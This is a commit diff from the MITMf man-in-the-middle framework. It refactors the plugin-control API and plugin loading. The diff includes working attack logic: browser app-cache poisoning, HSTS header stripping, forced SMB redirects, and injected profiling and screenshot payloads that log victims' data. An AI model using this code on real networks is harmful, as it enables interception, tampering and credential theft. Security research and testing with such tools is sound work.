mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-19 04:59:33 -07:00
commit
5e90d905c0
13 changed files with 271 additions and 338 deletions
|
@ -14,6 +14,11 @@ class ConfigWatcher(FileSystemEventHandler):
|
|||
_instance = None
|
||||
config = ConfigObj("./config/mitmf.conf")
|
||||
|
||||
def __init__(self):
|
||||
observer = Observer()
|
||||
observer.schedule(self, path='./config', recursive=False)
|
||||
observer.start()
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if ConfigWatcher._instance is None:
|
||||
|
@ -21,11 +26,6 @@ class ConfigWatcher(FileSystemEventHandler):
|
|||
|
||||
return ConfigWatcher._instance
|
||||
|
||||
def startConfigWatch(self):
|
||||
observer = Observer()
|
||||
observer.schedule(self, path='./config', recursive=False)
|
||||
observer.start()
|
||||
|
||||
def getConfig(self):
|
||||
return self.config
|
||||
|
||||
|
|
99
core/mitmfapi.py
Normal file
99
core/mitmfapi.py
Normal file
|
@ -0,0 +1,99 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
"""
|
||||
|
||||
Coded by @xtr4nge
|
||||
|
||||
"""
|
||||
|
||||
#import multiprocessing
|
||||
import threading
|
||||
import logging
|
||||
import json
|
||||
import sys
|
||||
|
||||
from flask import Flask
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
log = logging.getLogger('werkzeug')
|
||||
log.setLevel(logging.DEBUG)
|
||||
|
||||
class mitmfapi:
|
||||
|
||||
@app.route("/")
|
||||
def getPlugins():
|
||||
# example: http://127.0.0.1:9090/getPlugins
|
||||
pdict = {}
|
||||
|
||||
#print ProxyPlugins.getInstance().plist
|
||||
for activated_plugin in ProxyPlugins.getInstance().plist:
|
||||
pdict[activated_plugin.name] = True
|
||||
|
||||
#print ProxyPlugins.getInstance().plist_all
|
||||
for plugin in ProxyPlugins.getInstance().plist_all:
|
||||
if plugin.name not in pdict:
|
||||
pdict[plugin.name] = False
|
||||
|
||||
#print ProxyPlugins.getInstance().pmthds
|
||||
|
||||
return json.dumps(pdict)
|
||||
|
||||
@app.route("/<plugin>")
|
||||
def getPluginStatus(plugin):
|
||||
# example: http://127.0.0.1:9090/getPluginStatus/cachekill
|
||||
for p in ProxyPlugins.getInstance().plist:
|
||||
if plugin == p.name:
|
||||
return json.dumps("1")
|
||||
|
||||
return json.dumps("0")
|
||||
|
||||
@app.route("/<plugin>/<status>")
|
||||
def setPluginStatus(plugin, status):
|
||||
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled
|
||||
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled
|
||||
if status == "1":
|
||||
for p in ProxyPlugins.getInstance().plist_all:
|
||||
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
|
||||
ProxyPlugins.getInstance().addPlugin(p)
|
||||
return json.dumps({"plugin": plugin, "response": "success"})
|
||||
|
||||
elif status == "0":
|
||||
for p in ProxyPlugins.getInstance().plist:
|
||||
if p.name == plugin:
|
||||
ProxyPlugins.getInstance().removePlugin(p)
|
||||
return json.dumps({"plugin": plugin, "response": "success"})
|
||||
|
||||
return json.dumps({"plugin": plugin, "response": "failed"})
|
||||
|
||||
def startFlask(self, host='127.0.0.1', port=9090):
|
||||
app.run(host=host, port=port)
|
||||
|
||||
#def start(self):
|
||||
# api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask)
|
||||
# api_thread.daemon = True
|
||||
# api_thread.start()
|
||||
|
||||
def start(self):
|
||||
api_thread = threading.Thread(name='mitmfapi', target=self.startFlask)
|
||||
api_thread.setDaemon(True)
|
||||
api_thread.start()
|
|
@ -42,32 +42,25 @@ class ProxyPlugins:
|
|||
in handleResponse, but is still annoying.
|
||||
'''
|
||||
_instance = None
|
||||
|
||||
plist = []
|
||||
mthdDict = {"connectionMade": "clientRequest",
|
||||
"handleStatus": "serverResponseStatus",
|
||||
"handleResponse": "serverResponse",
|
||||
"handleHeader": "serverHeaders",
|
||||
"handleEndHeaders":"serverHeaders"}
|
||||
|
||||
pmthds = {}
|
||||
def __init__(self):
|
||||
self.pmthds = {}
|
||||
self.plist = []
|
||||
self.plist_all = []
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if ProxyPlugins._instance == None:
|
||||
if ProxyPlugins._instance is None:
|
||||
ProxyPlugins._instance = ProxyPlugins()
|
||||
|
||||
return ProxyPlugins._instance
|
||||
|
||||
def setPlugins(self, plugins):
|
||||
'''Set the plugins in use'''
|
||||
|
||||
for p in plugins:
|
||||
self.addPlugin(p)
|
||||
|
||||
mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist)))
|
||||
|
||||
def addPlugin(self,p):
|
||||
def addPlugin(self, p):
|
||||
'''Load a plugin'''
|
||||
self.plist.append(p)
|
||||
mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
|
||||
|
@ -77,12 +70,12 @@ class ProxyPlugins:
|
|||
except KeyError:
|
||||
self.pmthds[mthd] = [getattr(p,pmthd)]
|
||||
|
||||
def removePlugin(self,p):
|
||||
def removePlugin(self, p):
|
||||
'''Unload a plugin'''
|
||||
self.plist.remove(p)
|
||||
mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
|
||||
for mthd,pmthd in self.mthdDict.iteritems():
|
||||
self.pmthds[mthd].remove(p)
|
||||
self.pmthds[mthd].remove(getattr(p, pmthd))
|
||||
|
||||
def hook(self):
|
||||
'''Magic to hook various function calls in sslstrip'''
|
||||
|
|
|
@ -419,14 +419,19 @@ class DNSChef(ConfigWatcher):
|
|||
_instance = None
|
||||
version = "0.4"
|
||||
|
||||
tcp = False
|
||||
ipv6 = False
|
||||
hsts = False
|
||||
real_records = dict()
|
||||
nametodns = dict()
|
||||
server_address = "0.0.0.0"
|
||||
nameservers = ["8.8.8.8"]
|
||||
port = 53
|
||||
def __init__(self):
|
||||
ConfigWatcher.__init__(self)
|
||||
|
||||
self.tcp = False
|
||||
self.ipv6 = False
|
||||
self.hsts = False
|
||||
self.real_records = dict()
|
||||
self.nametodns = dict()
|
||||
self.server_address = "0.0.0.0"
|
||||
self.nameservers = ["8.8.8.8"]
|
||||
self.port = 53
|
||||
|
||||
self.onConfigChange()
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
|
@ -472,9 +477,6 @@ class DNSChef(ConfigWatcher):
|
|||
self.hsts = True
|
||||
|
||||
def start(self):
|
||||
self.onConfigChange()
|
||||
self.startConfigWatch()
|
||||
|
||||
try:
|
||||
if self.config['MITMf']['DNS']['tcp'].lower() == 'on':
|
||||
self.startTCP()
|
||||
|
|
|
@ -60,7 +60,6 @@ class ServerConnection(HTTPClient):
|
|||
self.urlMonitor = URLMonitor.getInstance()
|
||||
self.hsts = URLMonitor.getInstance().hsts
|
||||
self.app = URLMonitor.getInstance().app
|
||||
self.plugins = ProxyPlugins.getInstance()
|
||||
self.isImageRequest = False
|
||||
self.isCompressed = False
|
||||
self.contentLength = None
|
||||
|
@ -108,7 +107,7 @@ class ServerConnection(HTTPClient):
|
|||
def connectionMade(self):
|
||||
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
|
||||
|
||||
self.plugins.hook()
|
||||
ProxyPlugins.getInstance().hook()
|
||||
self.sendRequest()
|
||||
self.sendHeaders()
|
||||
|
||||
|
@ -117,7 +116,7 @@ class ServerConnection(HTTPClient):
|
|||
|
||||
def handleStatus(self, version, code, message):
|
||||
|
||||
values = self.plugins.hook()
|
||||
values = ProxyPlugins.getInstance().hook()
|
||||
|
||||
version = values['version']
|
||||
code = values['code']
|
||||
|
@ -143,7 +142,10 @@ class ServerConnection(HTTPClient):
|
|||
self.isCompressed = True
|
||||
|
||||
elif (key.lower()== 'strict-transport-security'):
|
||||
mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2]))
|
||||
if self.clientInfo is not None:
|
||||
mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2]))
|
||||
else:
|
||||
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP()))
|
||||
|
||||
elif (key.lower() == 'content-length'):
|
||||
self.contentLength = value
|
||||
|
@ -161,7 +163,7 @@ class ServerConnection(HTTPClient):
|
|||
if self.length == 0:
|
||||
self.shutdown()
|
||||
|
||||
self.plugins.hook()
|
||||
ProxyPlugins.getInstance().hook()
|
||||
|
||||
if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
|
||||
for header, value in self.client.headers.iteritems():
|
||||
|
@ -188,7 +190,7 @@ class ServerConnection(HTTPClient):
|
|||
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
|
||||
|
||||
data = self.replaceSecureLinks(data)
|
||||
data = self.plugins.hook()['data']
|
||||
data = ProxyPlugins.getInstance().hook()['data']
|
||||
|
||||
mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
|
||||
|
||||
|
|
96
mitmf.py
96
mitmf.py
|
@ -18,12 +18,6 @@
|
|||
# USA
|
||||
#
|
||||
|
||||
"""
|
||||
|
||||
[enabled | disabled] by @xtr4nge
|
||||
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
import os
|
||||
|
@ -35,17 +29,9 @@ from twisted.internet import reactor
|
|||
from core.sslstrip.CookieCleaner import CookieCleaner
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
from core.utils import Banners, SystemConfig, shutdown
|
||||
from core.mitmfapi import mitmfapi
|
||||
from plugins import *
|
||||
|
||||
# @xtr4nge
|
||||
import multiprocessing, time, signal
|
||||
from flask import Flask
|
||||
from configobj import ConfigObj
|
||||
import json
|
||||
|
||||
# @xtr4nge
|
||||
pluginStatus = ConfigObj("config/plugins.conf")
|
||||
|
||||
Banners().printBanner()
|
||||
|
||||
if os.geteuid() != 0:
|
||||
|
@ -81,6 +67,8 @@ plugins = []
|
|||
try:
|
||||
for p in plugin_classes:
|
||||
plugins.append(p())
|
||||
|
||||
ProxyPlugins.getInstance().plist_all = plugins
|
||||
except Exception as e:
|
||||
print "[-] Failed to load plugin class {}: {}".format(p, e)
|
||||
|
||||
|
@ -143,10 +131,6 @@ for p in plugins:
|
|||
#load only the plugins that have been called at the command line
|
||||
if vars(args)[p.optname] is True:
|
||||
|
||||
# @xtr4nge
|
||||
pluginStatus['plugins'][p.optname]['status'] = "enabled"
|
||||
pluginStatus.write()
|
||||
|
||||
print "|_ {} v{}".format(p.name, p.version)
|
||||
if p.tree_info:
|
||||
for line in xrange(0, len(p.tree_info)):
|
||||
|
@ -175,13 +159,14 @@ reactor.listenTCP(args.listen, strippingFactory)
|
|||
for p in ProxyPlugins.getInstance().plist:
|
||||
|
||||
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
|
||||
p.startConfigWatch()
|
||||
|
||||
if hasattr(p, 'startThread'):
|
||||
t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
mitmfapi().start()
|
||||
|
||||
print "|"
|
||||
print "|_ Sergio-Proxy v{} online".format(sergio_version)
|
||||
print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version)
|
||||
|
@ -206,77 +191,8 @@ from core.servers.smb.SMBserver import SMBserver
|
|||
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
|
||||
SMBserver.getInstance().start()
|
||||
|
||||
'''
|
||||
#start the reactor
|
||||
reactor.run()
|
||||
|
||||
print "\n"
|
||||
shutdown()
|
||||
'''
|
||||
|
||||
# ------------------------------------
|
||||
# @xtr4nge [enabled | disabled]
|
||||
# ------------------------------------
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route("/getPlugins")
|
||||
def getPlugins():
|
||||
# Lists all the plugins supporting [enabled|disabled] (check: config/plugins.conf)
|
||||
# example: http://127.0.0.1:9090/getPlugins
|
||||
pluginList = {"cachekill", "screen", "browserprofiler", "appoison", "replace", "smbtrap", "upsidedownternet"}
|
||||
|
||||
data = {}
|
||||
for item in pluginList:
|
||||
data[item] = [pluginStatus['plugins'][item]['status']]
|
||||
|
||||
return json.dumps(data)
|
||||
|
||||
@app.route("/getPluginStatus/<plugin>")
|
||||
def getPluginStatus(plugin):
|
||||
# example: http://127.0.0.1:9090/getPluginStatus/cachekill
|
||||
return pluginStatus['plugins'][plugin]['status']
|
||||
|
||||
@app.route("/setPluginStatus/<plugin>/<status>")
|
||||
def setPluginStatus(plugin, status):
|
||||
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled
|
||||
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled
|
||||
if status == "1":
|
||||
pluginStatus['plugins'][plugin]['status'] = "enabled"
|
||||
pluginStatus.write()
|
||||
elif status == "0":
|
||||
pluginStatus['plugins'][plugin]['status'] = "disabled"
|
||||
pluginStatus.write()
|
||||
|
||||
return getPluginStatus(plugin)
|
||||
|
||||
# @xtr4nge
|
||||
def startFlask():
|
||||
app.run(host='127.0.0.1', port=9090)
|
||||
|
||||
# @xtr4nge
|
||||
def startCore():
|
||||
#start the reactor
|
||||
reactor.run()
|
||||
|
||||
# @xtr4nge
|
||||
try:
|
||||
pool = {}
|
||||
pool[0] = multiprocessing.Process(name="core", target=startCore)
|
||||
pool[1] = multiprocessing.Process(name="api", target=startFlask)
|
||||
pool[0].start()
|
||||
pool[1].start()
|
||||
|
||||
while True:
|
||||
pass
|
||||
|
||||
except KeyboardInterrupt:
|
||||
shutdown()
|
||||
pool[0].terminate()
|
||||
pool[1].terminate()
|
||||
except Exception as e:
|
||||
print e
|
||||
shutdown()
|
||||
pool[0].terminate()
|
||||
pool[1].terminate()
|
||||
finally:
|
||||
print "bye ;)"
|
||||
shutdown()
|
|
@ -34,8 +34,6 @@ from datetime import date
|
|||
from plugins.plugin import Plugin
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
|
||||
from configobj import ConfigObj
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class AppCachePlugin(Plugin):
|
||||
|
@ -45,14 +43,6 @@ class AppCachePlugin(Plugin):
|
|||
version = "0.3"
|
||||
has_opts = False
|
||||
|
||||
# @xtr4nge
|
||||
def getStatus(self):
|
||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.mass_poisoned_browsers = []
|
||||
|
@ -61,73 +51,72 @@ class AppCachePlugin(Plugin):
|
|||
self.urlMonitor.setAppCachePoisoning()
|
||||
|
||||
def serverResponse(self, response, request, data):
|
||||
if self.getStatus():
|
||||
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
|
||||
|
||||
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
|
||||
url = request.client.uri
|
||||
req_headers = request.client.getAllHeaders()
|
||||
headers = request.client.responseHeaders
|
||||
ip = request.client.getClientIP()
|
||||
|
||||
#########################################################################
|
||||
|
||||
if "enable_only_in_useragents" in self.app_config:
|
||||
regexp = self.app_config["enable_only_in_useragents"]
|
||||
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
||||
mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"]))
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
urls = self.urlMonitor.getRedirectionSet(url)
|
||||
mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls))
|
||||
(name,s,element,url) = self.getSectionForUrls(urls)
|
||||
|
||||
if s is False:
|
||||
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name))
|
||||
p = self.getTemplatePrefix(s)
|
||||
|
||||
if element == 'tamper':
|
||||
mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p))
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace','r')
|
||||
data = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append','r')
|
||||
appendix = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
# append to body
|
||||
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
||||
|
||||
# add manifest reference
|
||||
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
|
||||
|
||||
elif element == "manifest":
|
||||
mitmf_logger.info("{} [{}] Poisoning manifest URL".format(ip, self.name))
|
||||
data = self.getSpoofedManifest(url, s)
|
||||
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
|
||||
|
||||
elif element == "raw": # raw resource to modify, it does not have to be html
|
||||
mitmf_logger.info("{} [{}] Poisoning raw URL".format(ip, self.name))
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace','r')
|
||||
data = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append','r')
|
||||
appendix = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
# append to response body
|
||||
data += appendix
|
||||
|
||||
self.cacheForFuture(headers)
|
||||
self.removeDangerousHeaders(headers)
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
|
||||
|
||||
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
|
||||
url = request.client.uri
|
||||
req_headers = request.client.getAllHeaders()
|
||||
headers = request.client.responseHeaders
|
||||
ip = request.client.getClientIP()
|
||||
|
||||
#########################################################################
|
||||
|
||||
if "enable_only_in_useragents" in self.app_config:
|
||||
regexp = self.app_config["enable_only_in_useragents"]
|
||||
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
||||
mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"]))
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
urls = self.urlMonitor.getRedirectionSet(url)
|
||||
mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls))
|
||||
(name,s,element,url) = self.getSectionForUrls(urls)
|
||||
|
||||
if s is False:
|
||||
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name))
|
||||
p = self.getTemplatePrefix(s)
|
||||
|
||||
if element == 'tamper':
|
||||
mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p))
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace','r')
|
||||
data = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append','r')
|
||||
appendix = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
# append to body
|
||||
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
||||
|
||||
# add manifest reference
|
||||
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
|
||||
|
||||
elif element == "manifest":
|
||||
mitmf_logger.info("{} [{}] Poisoning manifest URL".format(ip, self.name))
|
||||
data = self.getSpoofedManifest(url, s)
|
||||
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
|
||||
|
||||
elif element == "raw": # raw resource to modify, it does not have to be html
|
||||
mitmf_logger.info("{} [{}] Poisoning raw URL".format(ip, self.name))
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace','r')
|
||||
data = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append','r')
|
||||
appendix = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
# append to response body
|
||||
data += appendix
|
||||
|
||||
self.cacheForFuture(headers)
|
||||
self.removeDangerousHeaders(headers)
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
def tryMassPoison(self, url, data, headers, req_headers, ip):
|
||||
browser_id = ip + req_headers.get("user-agent", "")
|
||||
|
|
|
@ -30,8 +30,6 @@ from pprint import pformat
|
|||
from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
|
||||
from configobj import ConfigObj
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class BrowserProfiler(Inject, Plugin):
|
||||
|
@ -41,14 +39,6 @@ class BrowserProfiler(Inject, Plugin):
|
|||
version = "0.3"
|
||||
has_opts = False
|
||||
|
||||
# @xtr4nge
|
||||
def getStatus(self):
|
||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def initialize(self, options):
|
||||
self.output = {} # so other plugins can access the results
|
||||
|
||||
|
@ -63,20 +53,18 @@ class BrowserProfiler(Inject, Plugin):
|
|||
return d
|
||||
|
||||
def clientRequest(self, request):
|
||||
if self.getStatus():
|
||||
#Handle the plugin output
|
||||
if 'clientprfl' in request.uri:
|
||||
request.printPostData = False
|
||||
|
||||
self.output = self.post2dict(request.postData)
|
||||
self.output['ip'] = request.client.getClientIP()
|
||||
self.output['useragent'] = request.clientInfo
|
||||
|
||||
if self.output['plugin_list']:
|
||||
self.output['plugin_list'] = self.output['plugin_list'].split(',')
|
||||
|
||||
pretty_output = pformat(self.output)
|
||||
mitmf_logger.info("{} [BrowserProfiler] Got data:\n{}".format(request.client.getClientIP(), pretty_output))
|
||||
if 'clientprfl' in request.uri:
|
||||
request.printPostData = False
|
||||
|
||||
self.output = self.post2dict(request.postData)
|
||||
self.output['ip'] = request.client.getClientIP()
|
||||
self.output['useragent'] = request.clientInfo
|
||||
|
||||
if self.output['plugin_list']:
|
||||
self.output['plugin_list'] = self.output['plugin_list'].split(',')
|
||||
|
||||
pretty_output = pformat(self.output)
|
||||
mitmf_logger.info("{} [BrowserProfiler] Got data:\n{}".format(request.client.getClientIP(), pretty_output))
|
||||
|
||||
def get_payload(self):
|
||||
plugindetect = open("./core/javascript/plugindetect.js", 'r').read()
|
||||
|
|
|
@ -27,8 +27,6 @@
|
|||
import logging
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
from configobj import ConfigObj
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class CacheKill(Plugin):
|
||||
|
@ -37,22 +35,13 @@ class CacheKill(Plugin):
|
|||
desc = "Kills page caching by modifying headers"
|
||||
version = "0.1"
|
||||
|
||||
# @xtr4nge
|
||||
def getStatus(self):
|
||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def initialize(self, options):
|
||||
self.bad_headers = ['if-none-match', 'if-modified-since']
|
||||
|
||||
def serverHeaders(self, response, request):
|
||||
'''Handles all response headers'''
|
||||
if self.getStatus():
|
||||
response.headers['Expires'] = "0"
|
||||
response.headers['Cache-Control'] = "no-cache"
|
||||
response.headers['Expires'] = "0"
|
||||
response.headers['Cache-Control'] = "no-cache"
|
||||
|
||||
def clientRequest(self, request):
|
||||
'''Handles outgoing request'''
|
||||
|
|
|
@ -33,8 +33,6 @@ from plugins.plugin import Plugin
|
|||
from plugins.CacheKill import CacheKill
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
||||
from configobj import ConfigObj
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class Replace(Plugin):
|
||||
|
@ -44,14 +42,6 @@ class Replace(Plugin):
|
|||
version = "0.2"
|
||||
has_opts = False
|
||||
|
||||
# @xtr4nge
|
||||
def getStatus(self):
|
||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
||||
|
@ -60,26 +50,24 @@ class Replace(Plugin):
|
|||
self.mime = "text/html"
|
||||
|
||||
def serverResponse(self, response, request, data):
|
||||
if self.getStatus():
|
||||
ip, hn, mime = self._get_req_info(response)
|
||||
|
||||
if self._should_replace(ip, hn, mime):
|
||||
|
||||
# Did the user provide us with a regex file?
|
||||
for rulename, regexs in self.config['Replace'].iteritems():
|
||||
for regex1,regex2 in regexs.iteritems():
|
||||
if re.search(regex1, data):
|
||||
try:
|
||||
data = re.sub(regex1, regex2, data)
|
||||
|
||||
mitmf_logger.info("{} [{}] Host: {} Occurances matching '{}' replaced with '{}' according to rule '{}'".format(ip, self.name, hn, regex1, regex2, rulename))
|
||||
except Exception:
|
||||
mitmf_logger.error("{} [{}] Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'" % (ip, hn, regex1, regex2, rulename))
|
||||
|
||||
self.ctable[ip] = time.time()
|
||||
self.dtable[ip+hn] = True
|
||||
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
ip, hn, mime = self._get_req_info(response)
|
||||
|
||||
if self._should_replace(ip, hn, mime):
|
||||
|
||||
for rulename, regexs in self.config['Replace'].iteritems():
|
||||
for regex1,regex2 in regexs.iteritems():
|
||||
if re.search(regex1, data):
|
||||
try:
|
||||
data = re.sub(regex1, regex2, data)
|
||||
|
||||
mitmf_logger.info("{} [{}] Host: {} Occurances matching '{}' replaced with '{}' according to rule '{}'".format(ip, self.name, hn, regex1, regex2, rulename))
|
||||
except Exception:
|
||||
mitmf_logger.error("{} [{}] Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'" % (ip, hn, regex1, regex2, rulename))
|
||||
|
||||
self.ctable[ip] = time.time()
|
||||
self.dtable[ip+hn] = True
|
||||
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
def _should_replace(self, ip, hn, mime):
|
||||
return mime.find(self.mime) != -1
|
||||
|
|
|
@ -10,8 +10,6 @@ import string
|
|||
from plugins.plugin import Plugin
|
||||
from core.utils import SystemConfig
|
||||
|
||||
from configobj import ConfigObj
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class SMBTrap(Plugin):
|
||||
|
@ -21,20 +19,11 @@ class SMBTrap(Plugin):
|
|||
version = "1.0"
|
||||
has_opts = False
|
||||
|
||||
# @xtr4nge
|
||||
def getStatus(self):
|
||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def initialize(self, options):
|
||||
self.ourip = SystemConfig.getIP(options.interface)
|
||||
|
||||
def serverResponseStatus(self, request, version, code, message):
|
||||
if self.getStatus():
|
||||
return {"request": request, "version": version, "code": 302, "message": "Found"}
|
||||
return {"request": request, "version": version, "code": 302, "message": "Found"}
|
||||
|
||||
def serverHeaders(self, response, request):
|
||||
if self.getStatus():
|
||||
|
|
|
@ -33,8 +33,6 @@ from datetime import datetime
|
|||
from plugins.Inject import Inject
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
from configobj import ConfigObj
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
class ScreenShotter(Inject, Plugin):
|
||||
|
@ -44,33 +42,24 @@ class ScreenShotter(Inject, Plugin):
|
|||
ver = '0.1'
|
||||
has_opts = True
|
||||
|
||||
# @xtr4nge
|
||||
def getStatus(self):
|
||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def initialize(self, options):
|
||||
self.interval = 10 or options.interval
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.get_payload()
|
||||
|
||||
def clientRequest(self, request):
|
||||
if self.getStatus():
|
||||
if 'saveshot' in request.uri:
|
||||
request.printPostData = False
|
||||
client = request.client.getClientIP()
|
||||
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||
try:
